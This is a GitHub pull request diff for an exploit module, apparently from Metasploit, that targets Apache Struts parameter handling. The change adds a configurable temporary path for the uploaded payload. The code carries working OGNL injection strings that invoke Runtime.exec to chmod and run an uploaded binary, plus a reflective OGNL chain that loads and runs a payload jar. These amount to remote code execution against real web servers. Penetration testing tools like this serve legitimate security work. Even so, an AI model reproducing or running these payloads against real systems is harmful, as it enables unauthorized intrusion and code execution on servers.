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fix java payload struts module #3347

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merged 1 commit into from
May 11, 2014
Merged

fix java payload struts module #3347

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19 changes: 16 additions & 3 deletions modules/exploits/multi/http/struts_code_exec_parameters.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -71,13 +71,22 @@ def initialize(info = {})
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a&param2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
], self.class)
end

def parameter
datastore['PARAMETER']
end

def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end

def get_parameter
retval = {}
return retval unless datastore['GET_PARAMETERS']
Expand Down Expand Up @@ -115,11 +124,12 @@ def exploit
#Now arch specific...
case target['Platform']
when 'linux'
payload_exe = "/tmp/#{payload_exe}"
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
when 'java'
payload_exe << ".jar"
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ''
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
Expand All @@ -131,12 +141,14 @@ def exploit
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
payload_exe = "./#{payload_exe}.exe"
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end

print_status("#{peer} - Uploading exploit to #{payload_exe}")
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
Expand All @@ -148,6 +160,7 @@ def exploit
append = true
end
java_upload_part(pl_exe, payload_exe, append)
print_status("#{peer} - Executing payload")
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(payload_exe)
Expand Down